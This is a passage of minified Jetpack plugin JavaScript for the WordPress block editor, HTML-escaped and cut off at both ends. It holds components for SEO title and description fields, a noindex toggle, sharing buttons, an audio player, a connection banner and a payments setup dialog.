__(&quot;It is recommended to use less than %1$d characters in this field. (%2$d/%1$d)&quot;,&quot;jetpack&quot;),e,t.length);return(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-message-box&quot;,children:(0,o.jsx)(r.TextareaControl,{__nextHasNoMarginBottom:!0,label:s,help:i,value:t,...a})})}},92411(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(85985),n=s(86087),o=s(27723),a=s(99463),i=s(53189),l=s(10790);const __=o.__,c=!0===(0,r.FB)(&quot;ai-seo-enhancer&quot;)?.available;class u extends n.Component{onMessageChange=e=&gt;{this.props.updateMetaValue(e)};render(){const{metaValue:e}=this.props,t=__(&quot;Write a description…&quot;,&quot;jetpack&quot;),s=__(&quot;Add a compelling, keyword-rich summary that appears in search results (ideally under 156 characters)&quot;,&quot;jetpack&quot;);return(0,l.jsx)(a.P,{value:e,onChange:this.onMessageChange,label:__(&quot;SEO Description&quot;,&quot;jetpack&quot;),placeholder:c?s:t,suggestedLimit:156,rows:4})}}const d=(0,i.m)(&quot;advanced_seo_description&quot;)(u)},44921(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(37802);(0,r.vp)(n.U,n.W)},37802(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;S,W:()=&gt;P});var r=s(70499),n=s(97999),o=s(85985),a=s(82201),i=s(56427),l=s(3582),c=s(47143),u=s(43656),d=s(86087),p=s(27723),h=s(13022),m=s(90062),g=s(89870),f=s(12430),b=s(77682),v=s(96012),k=s(76262),y=s(51626),x=s(24294),j=s(92411),w=s(5664),_=s(9411),C=s(80151),A=(s(49472),s(10790));const __=p.__,S=&quot;seo&quot;,E=&quot;function&quot;==typeof(0,c.select)(u.store).isPublishSidebarOpened,N=!0===(0,o.FB)(&quot;ai-seo-enhancer&quot;)?.available&amp;&amp;E,T=!(0,n.isSimpleSite)(),B=()=&gt;{const{isLoadingModules:e,isChangingStatus:t,isModuleActive:s,changeStatus:p}=(0,o.q7)(&quot;seo-tools&quot;),S=(0,c.useSelect)(e=&gt;e(u.store).isPublishSidebarOpened?.(),[]),{updateSeoData:B,isBusy:P}=(0,v.X)(),I=(0,c.useSelect)(e=&gt;{const t=e(u.store).getCurrentPostType(),s=e(l.store).getPostType(t);return s?.viewable},[]),M=(0,d.useRef)(!1),{isEnabled:L,isToggling:R}=(0,b.S)(),{closePublishSidebar:D}=(0,c.useDispatch)(u.store);(0,d.useEffect)(()=&gt;{N&amp;&amp;S&amp;&amp;!M.current&amp;&amp;!P&amp;&amp;L&amp;&amp;!R&amp;&amp;T&amp;&amp;E&amp;&amp;B({trigger:&quot;auto&quot;}),M.current=S},[S,B,P,L,R]);if(!I)return null;const F=(0,o.tu)(&quot;advanced-seo&quot;),O=(0,n.isWpcomPlatformSite)(),z=!(0,o.tu)(&quot;ai-seo-enhancer&quot;);if(O&amp;&amp;!1!==F)return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.A,{children:(0,A.jsx)(i.PanelBody,{title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;jetpack-seo-panel&quot;,children:(0,A.jsx)(x.A,{requiredPlan:F})})}),(0,A.jsx)(u.PluginDocumentSettingPanel,{className:&quot;jetpack-seo-panel&quot;,title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),name:&quot;jetpack-seo&quot;,icon:(0,A.jsx)(a.jt,{}),children:(0,A.jsx)(x.A,{requiredPlan:F})})]});if(!s){const r=e?(0,A.jsx)(y.G,{}):(0,A.jsx)(k.l,{changeStatus:p,isModuleActive:s,isLoading:t});return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.A,{children:(0,A.jsx)(i.PanelBody,{title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;jetpack-seo-panel&quot;,children:r})}),(0,A.jsx)(u.PluginDocumentSettingPanel,{className:&quot;jetpack-seo-panel&quot;,title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),name:&quot;jetpack-seo&quot;,icon:(0,A.jsx)(a.jt,{}),children:r})]})}const U={icon:(0,A.jsx)(a.jt,{}),title:__(&quot;SEO&quot;,&quot;jetpack&quot;),initialOpen:N};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.A,{children:(0,A.jsxs)(i.PanelBody,{title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),className:&quot;jetpack-seo-panel&quot;,children:[N&amp;&amp;z&amp;&amp;(0,A.jsx)(g.k,{placement:&quot;jetpack-sidebar&quot;,disableAutoEnhance:!T}),(0,A.jsx)(i.PanelRow,{className:(0,h.A)({&quot;jetpack-seo-sidebar__feature-section&quot;:N}),children:(0,A.jsx)(C.A,{})}),(0,A.jsx)(i.PanelRow,{className:(0,h.A)({&quot;jetpack-seo-sidebar__feature-section&quot;:N}),children:(0,A.jsx)(j.A,{})}),(0,A.jsx)(i.PanelRow,{className:(0,h.A)({&quot;jetpack-seo-sidebar__feature-section&quot;:N}),children:(0,A.jsx)(r.m2,{})}),(0,A.jsx)(i.PanelRow,{className:(0,h.A)({&quot;jetpack-seo-sidebar__feature-section&quot;:N}),children:(0,A.jsx)(w.A,{})})]})}),(0,A.jsxs)(u.PluginDocumentSettingPanel,{className:&quot;jetpack-seo-panel&quot;,title:__(&quot;Optimize SEO&quot;,&quot;jetpack&quot;),name:&quot;jetpack-seo&quot;,icon:(0,A.jsx)(a.jt,{}),children:[N&amp;&amp;z&amp;&amp;(0,A.jsx)(g.k,{placement:&quot;document-settings&quot;,disableAutoEnhance:!T}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(C.A,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(j.A,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(r.m2,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(w.A,{})})]}),(0,A.jsx)(u.PluginPrePublishPanel,{...U,children:(0,A.jsxs)(&quot;div&quot;,{className:&quot;jetpack-seo-panel&quot;,children:[N&amp;&amp;z&amp;&amp;(0,A.jsx)(g.k,{placement:&quot;jetpack-prepublish-sidebar&quot;,disableAutoEnhance:!T}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(C.A,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(j.A,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(r.m2,{})}),(0,A.jsx)(i.PanelRow,{children:(0,A.jsx)(w.A,{})})]})}),N&amp;&amp;(0,A.jsx)(u.PluginPostPublishPanel,{...U,children:(0,A.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-panel&quot;,children:(0,A.jsx)(f.A,{onEdit:async()=&gt;{await D(),(0,_.k)()}})})})]})},P={render:()=&gt;(0,A.jsx)(B,{})}},5664(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(56427),n=s(27723),o=s(53189),a=s(10790);const __=n.__,i=(0,o.m)(&quot;jetpack_seo_noindex&quot;)(({metaValue:e,updateMetaValue:t})=&gt;(0,a.jsx)(r.ToggleControl,{label:__(&quot;Hide page from search engines&quot;,&quot;jetpack&quot;),help:__(&quot;If selected, a &#039;noindex&#039; tag will help instruct search engines to not include this page in search results. This page will also be removed from the Jetpack sitemap.&quot;,&quot;jetpack&quot;),checked:!!e,onChange:e=&gt;{t(e)},__nextHasNoMarginBottom:!0}))},9411(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;o});var r=s(47143),n=s(43656);const o=async()=&gt;{const{clearSelectedBlock:e}=(0,r.dispatch)(&quot;core/block-editor&quot;),{openGeneralSidebar:t}=(0,r.dispatch)(&quot;core/edit-post&quot;);e(),await t(&quot;edit-post/document&quot;);const s=&quot;jetpack-seo/jetpack-seo&quot;;(0,r.select)(n.store).isEditorPanelOpened(s)||(0,r.dispatch)(n.store).toggleEditorPanelOpened(s),setTimeout(()=&gt;{document.querySelector(&quot;.jetpack-seo-panel&quot;)?.scrollIntoView({behavior:&quot;smooth&quot;})},100)}},80151(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(85985),n=s(86087),o=s(27723),a=s(99463),i=s(53189),l=s(10790);const __=o.__,c=!0===(0,r.FB)(&quot;ai-seo-enhancer&quot;)?.available;class u extends n.Component{onTitleChange=e=&gt;{this.props.updateMetaValue(e)};render(){const{metaValue:e}=this.props,t=__(&quot;Write a title…&quot;,&quot;jetpack&quot;),s=__(&quot;Enter a clear, keyword-focused title (ideally under 70 characters)&quot;,&quot;jetpack&quot;);return(0,l.jsx)(a.P,{value:e,onChange:this.onTitleChange,label:__(&quot;SEO Title&quot;,&quot;jetpack&quot;),placeholder:c?s:t,suggestedLimit:70,rows:2})}}const d=(0,i.m)(&quot;jetpack_seo_html_title&quot;)(u)},53189(e,t,s){&quot;use strict&quot;;s.d(t,{m:()=&gt;o});var r=s(29491),n=s(47143);const o=e=&gt;(0,r.compose)([(0,n.withSelect)(t=&gt;({metaValue:t(&quot;core/editor&quot;).getEditedPostAttribute(&quot;meta&quot;)?.[e]??&quot;&quot;})),(0,n.withDispatch)(t=&gt;({updateMetaValue(s){var r;&quot;boolean&quot;!=typeof(r=s)&amp;&amp;(&quot;string&quot;!=typeof r||&quot;&quot;!==r&amp;&amp;0===r.trim().length)||t(&quot;core/editor&quot;).editPost({meta:{[e]:s}})}}))])},40669(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(3924),n=s(85985),o=s(56427),a=s(27723),i=(s(98980),s(10790));const __=a.__,l=({changeStatus:e,isLoading:t,isModuleActive:s})=&gt;{const{tracks:a}=(0,n.st)();return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(&quot;p&quot;,{children:__(&quot;Activate the Sharing feature to allow others to share your posts.&quot;,&quot;jetpack&quot;)}),(0,i.jsx)(o.Button,{disabled:s||t,isBusy:t,onClick:()=&gt;(a.recordEvent(&quot;jetpack_editor_sharing_enable&quot;),e(!0)),variant:&quot;secondary&quot;,children:t?__(&quot;Activating Sharing&quot;,&quot;jetpack&quot;):__(&quot;Activate Sharing&quot;,&quot;jetpack&quot;,0)}),(0,i.jsx)(&quot;div&quot;,{className:&quot;components-sharing-placeholder__learn-more&quot;,children:(0,i.jsx)(o.ExternalLink,{href:(0,r.A)(&quot;jetpack-support-sharing&quot;),children:__(&quot;Learn more about Jetpack Sharing.&quot;,&quot;jetpack&quot;)})})]})}},69253(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(85985),n=s(56427),o=s(47143),a=s(43656),i=s(27723),l=s(96788),c=s(40669),u=s(25593),d=s(10790);const __=i.__;function p({checked:e,onChange:t}){return(0,d.jsx)(n.ToggleControl,{label:__(&quot;Show sharing buttons&quot;,&quot;jetpack&quot;),checked:e,onChange:e=&gt;{t({jetpack_sharing_enabled:e})},__nextHasNoMarginBottom:!0})}function h(){const{isLoadingModules:e,isChangingStatus:t,isModuleActive:s,changeStatus:n}=(0,r.q7)(&quot;sharedaddy&quot;),i=(0,o.useSelect)(e=&gt;e(a.store).getEditedPostAttribute(&quot;jetpack_sharing_enabled&quot;),[]),{editPost:h}=(0,o.useDispatch)(a.store);return s?(0,d.jsx)(a.PostTypeSupportCheck,{supportKeys:&quot;jetpack-sharing-buttons&quot;,children:(0,d.jsx)(l.A,{children:(0,d.jsx)(p,{checked:i,onChange:h})})}):(0,d.jsx)(a.PostTypeSupportCheck,{supportKeys:&quot;jetpack-sharing-buttons&quot;,children:(0,d.jsx)(l.A,{children:e?(0,d.jsx)(u.A,{}):(0,d.jsx)(c.A,{changeStatus:n,isModuleActive:s,isLoading:t})})})}},25593(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(50723),n=s(11876),o=s(56427),a=s(10790);const i=function(){return(0,a.jsx)(r.Ay,{children:(0,a.jsx)(o.Placeholder,{children:(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;100%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})})]})})})}},29590(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(61383);(0,r.vp)(n.U,n.W)},61383(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;n,W:()=&gt;o});var r=s(69253);const n=&quot;sharing&quot;,o={render:r.A}},49487(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;n});var r=s(56427);const n=(0,r.withFallbackStyles)((e,t)=&gt;{const{textColor:s,backgroundColor:r}=t,n=r&amp;&amp;r.color,o=s&amp;&amp;s.color;return{fallbackBackgroundColor:n||!e?void 0:getComputedStyle(e).backgroundColor,fallbackTextColor:o||!e?void 0:getComputedStyle(e).color}})},75181(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(74997),o=s(27723),a=s(10790);const __=o.__;(0,n.setCategories)([...(0,n.getCategories)().filter(({slug:e})=&gt;&quot;contact-form&quot;!==e),{slug:&quot;contact-form&quot;,title:__(&quot;Forms&quot;,&quot;jetpack&quot;),icon:(0,a.jsx)(r.ux,{})}]),(0,n.setCategories)([...(0,n.getCategories)().filter(({slug:e})=&gt;&quot;monetize&quot;!==e),{slug:&quot;monetize&quot;,title:__(&quot;Monetize&quot;,&quot;jetpack&quot;),icon:(0,a.jsx)(r.ux,{})}]),(0,n.setCategories)([...(0,n.getCategories)().filter(({slug:e})=&gt;&quot;grow&quot;!==e),{slug:&quot;grow&quot;,title:__(&quot;Grow&quot;,&quot;jetpack&quot;),icon:(0,a.jsx)(r.ux,{})}])},34377(e,t,s){&quot;use strict&quot;;function r(e){const t=e.ownerDocument;return{currentDoc:t,currentWindow:t.defaultView||t.parentWindow}}function n(e,t,s=!1){let n=[];if(!t||!e&amp;&amp;!e.length||!function(e){const{currentWindow:t}=r(e);return&quot;editor-canvas&quot;===t.name&amp;&amp;t.self!==t.top}(t))return n;const{currentDoc:o,currentWindow:a}=r(t);if(!function(e){try{return!!e?.parent?.location.href}catch{return!1}}(a))return n;const i=a?.parent?.document;return o&amp;&amp;i?(n=e.filter(e=&gt;{const t=i.querySelector(e),r=!!o.querySelector(e);return!(!t||r)&amp;&amp;(o.head.appendChild(t.cloneNode()),s&amp;&amp;t.remove(),!0)}),n):n}function o(e,t,n){let o;try{o=new URL(&quot;editor-assets&quot;,s.p)}catch{return}const a=o.href,{currentDoc:i}=r(n),l=i.getElementsByTagName(&quot;head&quot;)[0];e.forEach(e=&gt;{const[s,r]=e.file.split(&quot;/&quot;).pop().split(&quot;.&quot;);if(&quot;css&quot;===r){if(i.getElementById(e.id))return;const t=i.createElement(&quot;link&quot;);t.id=e.id,t.rel=&quot;stylesheet&quot;,t.href=`${a}/${s}-${e.version}.${r}`,l.appendChild(t)}if(&quot;js&quot;===r){const n=t[e.id]?t[e.id]:null;if(i.getElementById(e.id))return n();const o=i.createElement(&quot;script&quot;);o.id=e.id,o.type=&quot;text/javascript&quot;,o.src=`${a}/${s}-${e.version}.${r}`,o.onload=n,l.appendChild(o)}})}function a(e,t){return new Promise(s=&gt;{const r=()=&gt;{e[t]?s(e[t]):e.requestAnimationFrame(r)};r()})}s.d(t,{Cu:()=&gt;a,a$:()=&gt;o,ry:()=&gt;n,sG:()=&gt;r})},90907(e,t,s){&quot;use strict&quot;;s.d(t,{D:()=&gt;o});var r=s(36536),n=s.n(r);function o(e,t){const s=function(e,t){for(const s of new(n())(t).values()){if(-1===s.indexOf(&quot;is-style-&quot;))continue;const t=s.substring(9),r=e.find(e=&gt;e.name===t);if(r)return r}return e.find(e=&gt;e.isDefault)}(e,t);return s?s.name:null}},71046(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(69222),n=s(56427),o=s(27723),a=(s(19595),s(10790));const __=o.__,i=({link:e})=&gt;(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-clipboard-input&quot;,children:[(0,a.jsx)(n.TextControl,{readOnly:!0,value:e,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,a.jsx)(r.A,{buttonStyle:&quot;icon-text&quot;,className:&quot;components-clipboard-button&quot;,textToCopy:e,variant:&quot;secondary&quot;,weight:&quot;regular&quot;,children:__(&quot;Copy&quot;,&quot;jetpack&quot;)})]})},98329(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});const r=/^#?[A-Fa-f0-9]{6}$/;function n(e){return r.test(e)}},72445(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(20195),n=s(86087),o=s(27723),a=s(86954),i=s.n(a),l=s(23117),c=(s(95759),s(10790));const __=o.__,u=&quot;undefined&quot;!=typeof _wpmejsSettings?_wpmejsSettings:{};function d(e,t,s){const r=document.createElement(&quot;div&quot;);r.className=e;const n=document.createElement(&quot;button&quot;);return n.innerText=t,n.addEventListener(&quot;click&quot;,s),n.setAttribute(&quot;aria-label&quot;,t),n.setAttribute(&quot;title&quot;,t),r.appendChild(n),r}const p=function({trackSource:e,onPlay:t,onPause:s,onError:o,onTimeChange:a,onSkipForward:p,onJumpBack:h,currentTime:m,playStatus:g=l.vh,onMetadataLoaded:f,loadWhenReady:b=!1,preload:v=&quot;metadata&quot;}){const k=(0,n.useRef)(void 0),y=()=&gt;{k.current.play().catch(()=&gt;{})},x=()=&gt;{k.current.pause(),(0,r.speak)(__(&quot;Paused&quot;,&quot;jetpack&quot;),&quot;assertive&quot;)};return(0,n.useEffect)(()=&gt;{MediaElementPlayer.prototype._setResponsiveMode||(MediaElementPlayer.prototype._setResponsiveMode=MediaElementPlayer.prototype.setResponsiveMode,MediaElementPlayer.prototype.setResponsiveMode=function(){const e=this;e.getElement(e.container).parentNode&amp;&amp;e._setResponsiveMode()})},[]),(0,n.useEffect)(()=&gt;{const e=k.current;e.preload=v;const r=new MediaElementPlayer(e,{...u,success:()=&gt;b&amp;&amp;e?.load()});if(h||p){const e=`${r.options.classPrefix}button ${r.options.classPrefix}jump-button`;if(h){const t=`${e} ${r.options.classPrefix}jump-backward-button`;r.addControlElement(d(t,__(&quot;Jump Back&quot;,&quot;jetpack&quot;),h),&quot;jumpBackwardButton&quot;)}if(p){const t=`${e} ${r.options.classPrefix}skip-forward-button`;r.addControlElement(d(t,__(&quot;Skip Forward&quot;,&quot;jetpack&quot;),p),&quot;skipForwardButton&quot;)}}return t&amp;&amp;e.addEventListener(&quot;play&quot;,t),s&amp;&amp;e.addEventListener(&quot;pause&quot;,s),o&amp;&amp;e.addEventListener(&quot;error&quot;,o),f&amp;&amp;e.addEventListener(&quot;loadedmetadata&quot;,f),()=&gt;{r.remove(),t&amp;&amp;e.removeEventListener(&quot;play&quot;,t),s&amp;&amp;e.removeEventListener(&quot;pause&quot;,s),o&amp;&amp;e.removeEventListener(&quot;error&quot;,o),f&amp;&amp;e.removeEventListener(&quot;loadedmetadata&quot;,f)}},[t,s,o,h,p,f,b,v]),(0,n.useEffect)(()=&gt;{const[e,t]=!1===k.current?.paused?[l.v8,x]:[l.vh,y],s=i()(t,100);return l.pF!==g&amp;&amp;e!==g&amp;&amp;s(),()=&gt;{s.clear()}},[k,g,e]),(0,n.useEffect)(()=&gt;{if(!a)return;const e=k.current;let t=0;const s=e=&gt;(e=&gt;{const s=Date.now();s-t&gt;=1e3&amp;&amp;(a(e),t=s)})(e.target.currentTime);return a&amp;&amp;e?.addEventListener(&quot;timeupdate&quot;,s),()=&gt;{t=0,e?.removeEventListener(&quot;timeupdate&quot;,s)}},[k,a]),(0,n.useEffect)(()=&gt;{const e=k.current;m&amp;&amp;e&amp;&amp;Math.abs(Math.floor(m-e.currentTime))&gt;1&amp;&amp;(e.currentTime=m)},[k,m]),(0,c.jsx)(&quot;div&quot;,{className:&quot;jetpack-audio-player&quot;,children:(0,c.jsx)(&quot;audio&quot;,{src:e,ref:k})})}},11998(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(85985),n=s(94715),o=s(56427),a=s(27723),i=s(13022),l=(s(42106),s(10790));const __=a.__;function c({blockName:e,buttonLabel:t,className:s,href:a,icon:c,onClick:u,readMoreUrl:d,subtitle:p,title:h}){const{autosaveAndRedirect:m}=(0,r.ZR)(a);return(0,l.jsx)(n.Warning,{actions:a&amp;&amp;[(0,l.jsx)(o.Button,{href:a,onClick:t=&gt;{t.preventDefault(),u(e),m(t)},target:&quot;_top&quot;,variant:&quot;secondary&quot;,className:&quot;jetpack-stripe-nudge__link&quot;,children:t},&quot;nudge&quot;)],className:(0,i.A)(s,&quot;jetpack-block-nudge wp-block&quot;),children:(0,l.jsxs)(&quot;span&quot;,{className:&quot;jetpack-block-nudge__info&quot;,children:[c,(0,l.jsxs)(&quot;span&quot;,{className:&quot;jetpack-block-nudge__text-container&quot;,children:[(0,l.jsx)(&quot;span&quot;,{className:&quot;jetpack-block-nudge__title&quot;,children:h}),p&amp;&amp;(0,l.jsxs)(&quot;span&quot;,{className:&quot;jetpack-block-nudge__message&quot;,children:[p,d&amp;&amp;(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(&quot;br&quot;,{}),(0,l.jsx)(o.ExternalLink,{href:d,children:__(&quot;Learn more about the block and fees&quot;,&quot;jetpack&quot;)})]})]})]})]})})}},5873(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(94715),n=s(74997),o=s(56427),a=s(47143),i=s(86087),l=s(27723),c=s(48558),u=s(13022),d=s(66087),p=(s(4825),s(10790));const __=l.__,h=({attributes:e,styleOption:t,viewportWidth:s,blockName:o})=&gt;{const a=(0,n.getBlockType)(o);return(0,p.jsx)(r.BlockPreview,{viewportWidth:s,blocks:(i=a.example?(0,n.getBlockFromExample)(o,{attributes:{...a.example.attributes,style:t.value},innerBlocks:a.example.innerBlocks}):(0,n.createBlock)(o,e),{...i,attributes:{...i.attributes,__isBlockPreview:!0}})});var i},m=i.memo?(0,i.memo)(h,(e,t)=&gt;(0,d.isEqual)(e,t)):h;function g({attributes:e,clientId:t,styleOptions:s,onSelectStyle:n,activeStyle:i,viewportWidth:l,title:d}){const h=(0,a.useSelect)(e=&gt;{const{getBlock:s}=e(&quot;core/block-editor&quot;);return s(t)});return(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(r.BlockControls,{children:(0,p.jsx)(o.ToolbarGroup,{isCollapsed:!0,icon:&quot;admin-appearance&quot;,label:__(&quot;Style&quot;,&quot;jetpack&quot;),controls:s.map(e=&gt;({title:e.label,isActive:e.value===i,onClick:()=&gt;n({style:e.value})})),popoverProps:{className:&quot;jetpack-block-styles-selector-toolbar&quot;}})}),(0,p.jsx)(r.InspectorControls,{children:(0,p.jsx)(o.PanelBody,{title:d||__(&quot;Styles&quot;,&quot;jetpack&quot;),children:(0,p.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles jetpack-block-styles-selector&quot;,children:s.map(t=&gt;{const s={...e,style:t.value};return(0,p.jsxs)(&quot;div&quot;,{className:(0,u.A)(&quot;block-editor-block-styles__item&quot;,{&quot;is-active&quot;:t.value===i}),onClick:()=&gt;{n({style:t.value})},onKeyDown:e=&gt;{c.ENTER!==e.keyCode&amp;&amp;c.SPACE!==e.keyCode||(e.preventDefault(),n({style:t.value}))},role:&quot;button&quot;,tabIndex:&quot;0&quot;,&quot;aria-label&quot;:t.label,children:[(0,p.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__item-preview&quot;,children:t.preview?t.preview:h&amp;&amp;(0,p.jsx)(m,{blockName:h.name,styleOption:t,attributes:s,viewportWidth:l})}),(0,p.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__item-label&quot;,children:t.label})]},t.value)})})})})]})}},2274(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(39384),n=s(85985),o=s(82201),a=s(27723),i=s(51609),l=(s(72808),s(10790));const __=a.__,c=()=&gt;{const e=window?.location?.pathname.replace(/.*?wp-admin\//,&quot;&quot;),t=window?.location?.search;return`${e}${t}`},u=({block:e,explanation:t=null})=&gt;{const[s,a]=(0,i.useState)(!1),[u,d]=(0,i.useState)(!1),{handleConnectUser:p}=(0,r.useConnection)({from:&quot;editor&quot;,redirectUri:c(),autoTrigger:!1,skipPricingPage:!0}),{autosave:h}=(0,n.ZR)(),{tracks:m}=(0,n.st)();return(0,i.useEffect)(()=&gt;{s&amp;&amp;p()},[s,p]),(0,l.jsxs)(&quot;div&quot;,{children:[(0,l.jsx)(o.cb,{buttonText:__(&quot;Connect Jetpack&quot;,&quot;jetpack&quot;),className:&quot;jetpack-connect-banner-nudge&quot;,description:__(&quot;Your account is not connected to Jetpack at the moment.&quot;,&quot;jetpack&quot;),goToCheckoutPage:t=&gt;{d(!0),h(t).then(()=&gt;{m.recordEvent(&quot;jetpack_editor_connect_banner_click&quot;,{block:e}),a(!0),d(!1)})},checkoutUrl:&quot;#&quot;,isRedirecting:s||u}),(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-connect-banner&quot;,children:t&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-connect-banner__explanation&quot;,children:(0,l.jsx)(&quot;p&quot;,{children:t})})})]})}},57753(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(44947);var r=s(10790);function n({children:e,spanClass:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;jetpack-inspector-notice&quot;,children:(0,r.jsx)(&quot;span&quot;,{className:t,children:e})})}},9522(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;i});var r=s(50723),n=s(11876),o=s(56427),a=s(10790);const i=()=&gt;(0,a.jsx)(r.Ay,{children:(0,a.jsxs)(o.Placeholder,{children:[(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;33.3%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})})]}),(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;33.3%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})})]}),(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;33.3%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})})]})]})})},49452(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(85985),n=s(56427),o=s(47143),a=s(27723),i=s(64234),l=s(10790);const __=a.__;function c({showDialog:e,closeDialog:t}){const{hasTierPlans:s}=(0,o.useSelect)(e=&gt;{const{getNewsletterTierProducts:t,getConnectUrl:s}=e(&quot;jetpack/membership-products&quot;);return{stripeConnectUrl:s(),hasTierPlans:0!==t()?.length}}),a=(0,i.Qu)(s),{autosaveAndRedirect:c}=(0,r.ZR)(a);return(0,l.jsxs)(n.__experimentalConfirmDialog,{onRequestClose:t,cancelButtonText:__(&quot;Not now&quot;,&quot;jetpack&quot;),confirmButtonText:__(&quot;Get started&quot;,&quot;jetpack&quot;),isOpen:e,onCancel:t,onConfirm:c,style:{maxWidth:400},children:[(0,l.jsx)(&quot;h2&quot;,{children:__(&quot;Set up payments&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;p&quot;,{children:__(&quot;To start collecting payments, you’ll just need to:&quot;,&quot;jetpack&quot;)}),(0,l.jsxs)(&quot;ol&quot;,{children:[(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Create a payment offer and choose a price for access to paid content&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Set up or connect your Stripe account&quot;,&quot;jetpack&quot;)})]})]})}},29726(e,t,s){&quot;use strict&quot;;s.d(t,{Hb:()=&gt;n,V$:()=&gt;r,_$:()=&gt;o,h5:()=&gt;a});const r=0,n=1,o=&quot;payment-plan&quot;,a=&quot;subscription&quot;},37072(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;a,o:()=&gt;o});var r=s(86087),n=s(29726);const o=(0,r.createContext)({blockName:void 0,clientId:void 0,products:[],productType:n._$,selectedProductIds:[],setSelectedProductIds:()=&gt;{}}),a=()=&gt;(0,r.useContext)(o)},97627(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(94715),n=s(47143),o=s(16521),a=s(72462),i=s(29726),l=s(37072),c=s(34666),u=s(69095),d=s(12788),p=(s(90483),s(10790));function h({blockName:e,clientId:t,productType:s=i._$,selectedProductIds:h=[],setSelectedProductIds:m=()=&gt;{}}){const 